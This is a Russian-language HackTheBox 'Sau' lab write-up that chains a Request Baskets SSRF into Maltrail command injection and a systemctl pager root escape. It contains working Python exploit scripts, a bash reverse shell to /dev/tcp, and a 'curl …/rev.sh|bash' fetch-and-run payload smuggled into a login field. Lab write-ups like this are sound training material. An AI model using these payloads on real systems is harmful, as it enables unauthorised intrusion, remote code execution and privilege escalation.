SSRF Request Baskets HTB Sau — пишем эксплойт на Python requests с нуля

EPSS (Exploit Prediction Scoring System — шкала от 0 до 1, показывающая вероятность реальной эксплуатации уязвимости в ближайшие 30 дней) для CVE-2023-27163 — 0.07 при перцентиле 93.5. Это top-7% среди всех зарегистрированных CVE. Не учебная дыра из методички, а SSRF (Server-Side Request Forgery — атака, при которой мы заставляем сервер выполнить HTTP-запрос вместо нас к ресурсу, недоступному извне), которая встречается на живых серверах. На машине HTB Sau эта уязвимость запускает полную цепочку: от первого HTTP-запроса до root-shell. Большинство writeup’ов сводятся к запуску чужого bash-скрипта — я разберу механику на уровне HTTP-запросов и покажу, как написать эксплойт на Python requests с нуля, объясняя каждую строку.
Место в цепочке атаки
Прежде чем лезть в детали — полная цепочка с привязкой к MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1190 — идентификаторы конкретных техник):
-
Разведка — nmap обнаруживает Request Baskets 1.2.1 на порту 55555 и два отфильтрованных порта (80, 8338). Vulnerability Scanning (T1595.002, тактика Reconnaissance).
-
Initial Access — эксплуатируем SSRF в Request Baskets (CVE-2023-27163), чтобы добраться до внутреннего сервиса на порту 80, закрытого файрволом. Exploit Public-Facing Application (T1190).
-
Execution — через SSRF передаём OS command injection в Maltrail 0.53 и получаем обратный shell от пользователя puma. Python (T1059.006).
-
Privilege Escalation — puma может запускать
systemctl statusчерез sudo. Версия systemd 245 уязвима к CVE-2023-26604: пейджерlessстартует с правами root, из него выходим в root-shell.
По классификации CISA SSVC (Stakeholder-Specific Vulnerability Categorization — методика приоритизации уязвимостей), обе CVE имеют technical impact: total — полная компрометация.
[Применимо: внешний пентест, CTF/лабораторная среда без WAF и IDS]
Требования к окружению
- ОС: Kali Linux 2023+ или любой Linux с Python 3.8+
- RAM: 2 ГБ минимум (одна VM + VPN-подключение)
- Сеть: VPN-подключение к HackTheBox (файл .ovpn), стабильный канал
- Инструменты:
nmap,curl,netcat— предустановлены в Kali - Python: библиотека
requests— установить черезpip install requests - Listener: netcat (
nc -lvnp 9001) или pwncat-cs для стабильного обратного shell
HTB Sau writeup — разведка через nmap
Первое, что делаем на любой машине — смотрим, что торчит наружу. Запускаем полное сканирование: nmap -p- --min-rate 10000 10.10.11.224. Флаг -p- — все 65535 TCP-портов, --min-rate 10000 задаёт минимальную скорость отправки пакетов (в лабораторной среде допустимо; на реальном пентесте скорость снижают, чтобы не светиться в логах IDS).
Результат — четыре порта:
- 22/tcp open — SSH, OpenSSH 8.2p1 (Ubuntu 20.04 Focal)
- 80/tcp filtered — HTTP, недоступен извне
- 8338/tcp filtered — неизвестный сервис, тоже закрыт
- 55555/tcp open — HTTP-сервис
Что значит filtered? Сервис работает, но файрвол (iptables/nftables) блокирует входящие соединения. Порты доступны изнутри на localhost — и если найти SSRF, сервер сам обратится к ним вместо нас. Два отфильтрованных порта при одном открытом HTTP-сервисе — прямая подсказка: ищи SSRF.
Детализируем открытые порты: nmap -p 22,55555 -sCV 10.10.11.224 (флаг -sC запускает стандартные NSE-скрипты, -sV определяет версии сервисов).
При переходе на http://10.10.11.224:55555 происходит редирект на /web. На странице — интерфейс Request Baskets, open-source сервис для сбора и инспекции HTTP-запросов, написанный на Go. В подвале: «Powered by request-baskets | Version: 1.2.1». Эта версия — последняя, подверженная CVE-2023-27163.
Дополнительная разведка через feroxbuster (утилита для перебора директорий) ничего не даёт: кроме /web всё возвращает 400 или 404. Приложение минималистичное, точка входа одна.
Request Baskets CVE-2023-27163 — уязвимость SSRF через прокси сервис
CVE-2023-27163 затрагивает request-baskets версий до 1.2.1 включительно (пакет github.com/darklynx/request-baskets, по данным OSV.dev). Тип уязвимости: CWE-918 — Server-Side Request Forgery. В классификации OWASP Top 10 это позиция A10:2021, добавленная из-за роста подобных атак.
CVSS (Common Vulnerability Scoring System — стандартная шкала критичности от 0 до 10): 6.5 MEDIUM, вектор CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N.
Разберём вектор — он хорошо показывает характер атаки:
- AV:N — атака по сети, физический доступ не нужен
- AC:L — сложность низкая
- PR:H — по оценке NVD, нужны высокие привилегии. Но в дефолтной конфигурации HTB Sau API создания корзин открыт без авторизации. Оценка NVD отражает продакшн-деплой с настроенной аутентификацией — держите это в голове
- UI:N — участие пользователя не требуется
- C:H / I:H — высокое влияние на конфиденциальность и целостность
- A:N — доступность не затрагивается
Теперь механика. API-эндпоинт /api/baskets/{name} принимает POST-запрос с JSON-конфигурацией. При создании корзины задаём три параметра:
forward_url— URL, на который Request Baskets пересылает входящие запросыproxy_response— еслиtrue, ответ от внутреннего сервиса возвращается обратно клиентуexpand_path— еслиtrue, путь из оригинального запроса добавляется к forward_url
Сочетание этих трёх параметров превращает безобидный сервис в открытый прокси. Создаём корзину с forward_url=http://127.0.0.1:80 — и любой запрос к ней летит на внутренний сервис. Файрвол обойдён, порты со статусом filtered — наши.
Работает если: Request Baskets ≤ 1.2.1, API создания корзин не требует авторизации, нет WAF-правил против SSRF. Не работает если: версия выше 1.2.1, API защищён токеном, WAF блокирует forward_url на внутренние адреса (127.0.0.1, 169.254.169.254).
SSRF Python эксплойт — пишем скрипт на requests с нуля
Зачем писать свой эксплойт, когда на GitHub есть готовый PoC на bash (репозиторий entr0pie/CVE-2023-27163, 31 звезда)? Потому что bash-скрипт — чёрный ящик. Понимание каждого HTTP-запроса позволяет адаптировать атаку: другой порт, нестандартный путь, нужна авторизация. Python-скрипт проще модифицировать, чем цепочку curl-команд.
Предусловия: Python 3.8+, установленная библиотека requests, сетевой доступ к целевой машине через HTB VPN.
import requests, sys
target = sys.argv[1] # http://10.10.11.224:55555
internal = sys.argv[2] # http://127.0.0.1:80
basket = "ssrf_poc"
resp = requests.post(f"{target}/api/baskets/{basket}", json={
"forward_url": internal,
"proxy_response": True,
"expand_path": True
})
print(f"[+] Basket URL: {target}/{basket}")
print(f"[+] Token: {resp.json()['token']}")
Построчно: sys.argv[1] принимает адрес Request Baskets, sys.argv[2] — внутренний URL, к которому хотим добраться. requests.post отправляет POST-запрос на API с JSON-телом. Три параметра — минимальный набор для SSRF: forward_url задаёт цель, proxy_response возвращает ответ клиенту, expand_path пробрасывает путь дальше.
Запуск: python3 exploit.py http://10.10.11.224:55555 http://127.0.0.1:80.
Ожидаемый вывод: строка с URL корзины и токен доступа (строка вида qGh7kL...). Если ошибка 409 Conflict — корзина с таким именем уже существует, поменяйте значение переменной basket.
Проверяем: curl http://10.10.11.224:55555/ssrf_poc. Если в ответе HTML со строкой «Maltrail» и заголовок Server: Maltrail/0.53 — SSRF работает. Вы видите ответ от внутреннего сервиса на порту 80, который напрямую недоступен. Приятное чувство.
От SSRF к RCE — эксплуатация Maltrail 0.53
Maltrail — система обнаружения вредоносного трафика. Версия 0.53 содержит OS command injection (класс A03:2021 по OWASP — Injection): параметр username на эндпоинте /login попадает в shell-команду без санитизации. Вообще без неё.
Благодаря expand_path: true путь /login из нашего запроса добавляется к forward_url. Запрос к http://10.10.11.224:55555/ssrf_poc/login перенаправляется на http://127.0.0.1:80/login — эндпоинт аутентификации Maltrail.
Подготовка обратного shell — три действия в трёх разных терминалах:
- Создаём файл с reverse shell:
echo 'bash -i >& /dev/tcp/YOUR_IP/9001 0>&1' > rev.sh(замените YOUR_IP на ваш HTB IP изip addr show tun0). - Раздаём файл через HTTP:
python3 -m http.server 8000. Ожидаемый результат: сообщение «Serving HTTP on 0.0.0.0 port 8000». - Запускаем слушатель:
nc -lvnp 9001. Ожидаемый результат: «Listening on 0.0.0.0 9001».
Расширяем Python-эксплойт — SSRF и RCE в одном скрипте:
import requests, sys
target, lhost = sys.argv[1], sys.argv[2]
basket = "rce_chain"
requests.post(f"{target}/api/baskets/{basket}", json={
"forward_url": "http://127.0.0.1:80",
"proxy_response": True, "expand_path": True
})
cmd = f"curl {lhost}:8000/rev.sh|bash"
requests.post(f"{target}/{basket}/login",
data={"username": f";`{cmd}`"})
print("[+] Payload sent — check listener")
Первый requests.post создаёт SSRF-корзину. Второй отправляет POST к /login через корзину — Request Baskets перенаправляет его на http://127.0.0.1:80/login. Maltrail получает параметр username со значением ;curl …/rev.sh|bash` и выполняет команду внутри обратных кавычек: скачиваетrev.sh` и запускает через bash.
Запуск: python3 exploit.py http://10.10.11.224:55555 10.10.XX.XX (ваш HTB IP).
Ожидаемый результат: в терминале с nc -lvnp 9001 появляется shell. Проверяем: whoami → puma. Флаг пользователя: cat ~/user.txt.
Повышение привилегий — CVE-2023-26604
Получив shell от puma, проверяем sudo-права: sudo -l. Вывод: пользователь puma может запускать /usr/bin/systemctl status trail.service от имени root без пароля.
CVE-2023-26604 (CWE-269 — Improper Privilege Management): systemd до версии 247 не устанавливает переменную окружения LESSSECURE=1 при вызове пейджера. Когда вывод systemctl status длиннее высоты терминала, запускается пейджер less — и он наследует права root от sudo. Из less можно выполнить произвольную команду через !sh. Этот приём задокументирован на GTFOBins для бинаря less — если ещё не знакомы с GTFOBins, добавьте в закладки, он пригодится на каждой второй машине.
CVSS: 7.8 HIGH, вектор CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. Нужен локальный доступ (AV:L) и низкие привилегии (PR:L) — оба условия у нас выполнены.
Проверяем версию: systemctl --version → systemd 245. Ниже 247 — уязвима.
Работает если: systemd < 247, пользователь в sudoers для systemctl, терминал достаточно узкий для запуска пейджера. Не работает если: systemd ≥ 247 (Ubuntu 22.04+, RHEL 9 — Red Hat подтвердил: Not affected), переменная LESSSECURE=1 установлена.
Шаги эксплуатации:
- Уменьшаем высоту терминала:
stty rows 5(или сужаем окно, если работаете через GUI-терминал) - Запускаем привилегированную команду:
sudo /usr/bin/systemctl status trail.service - Вывод не помещается → запускается
lessот имени root - В пейджере вводим
!shи нажимаем Enter - Проверяем:
whoami→root. Флаг:cat /root/root.txt
Ограничения SSRF-цепочки в реальном пентесте
HTB Sau — лабораторная машина без средств защиты. На продакшне цепочка столкнётся с конкретными препятствиями:
- WAF и сетевая сегментация. ModSecurity, AWS WAF и Cloudflare имеют встроенные правила против SSRF — блокируют
forward_urlна адреса127.0.0.1,localhost,169.254.169.254(metadata-эндпоинт облаков). Микросервисная архитектура с network policies не даст Request Baskets обратиться к произвольному сервису. - Аутентификация. В продакшн-конфигурации создание корзин требует токен — PR:H в CVSS-векторе отражает именно этот сценарий.
- Детектирование. Nuclei-шаблон
CVE-2023-27163.yamlдоступен в официальном репозитории ProjectDiscovery — blue team может проактивно сканировать инфраструктуру. POST-запросы к/api/baskets/сforward_urlна внутренние адреса — явный IoC (Indicator of Compromise — признак, по которому можно обнаружить атаку). - Патчи. Maltrail выше 0.53 не содержит command injection. systemd ≥ 247 выставляет
LESSSECURE=1. Для RHEL 8 выпущен RHSA-2023:3837, для RHEL 7 — RHSA-2024:7705. Одного обновления в любом звене достаточно, чтобы цепочка развалилась.
Три CVE на одной машине — учебный сценарий. Но паттерн «SSRF как точка входа к внутренним сервисам» воспроизводится в реальных аудитах постоянно. По данным Mandiant M-Trends 2025, 38% случаев initial access в 2024 году — эксплуатация уязвимостей, и SSRF занимает в этой статистике заметную долю. Причина простая: SSRF открывает дорогу к внутренним API, metadata-эндпоинтам и админкам, которые разработчики считали «недоступными извне».
Кто-то скажет: CVE-2023-27163 — Easy-машина, разбирать нечего, запустил скрипт и пошёл дальше. Я вижу иначе. Разница между запуском чужого PoC и пониманием, почему forward_url в сочетании с proxy_response превращает безобидный сервис в открытый прокси — это разница между оператором инструмента и пентестером. Когда стандартный bash-скрипт не сработает (а на реальном проекте он не сработает — другая версия, нужна авторизация, нестандартный путь), адаптировать атаку сможет только тот, кто собрал эксплойт руками и разобрал каждый параметр. Формула на бумаге понятна, но SSRF по-настоящему ощущается, когда сам прогоняешь запросы и видишь, как ответ от внутреннего сервиса возвращается к тебе через прокси. Если Hack The Box без объяснений «почему» кажется бессмысленным — на codeby.school есть IB Basics, где разбирают классы уязвимостей, а не отдельные CVE.
Эту тему и смежные навыки разбирают на практике в курсе «Основы программирования на Python» Codeby Academy.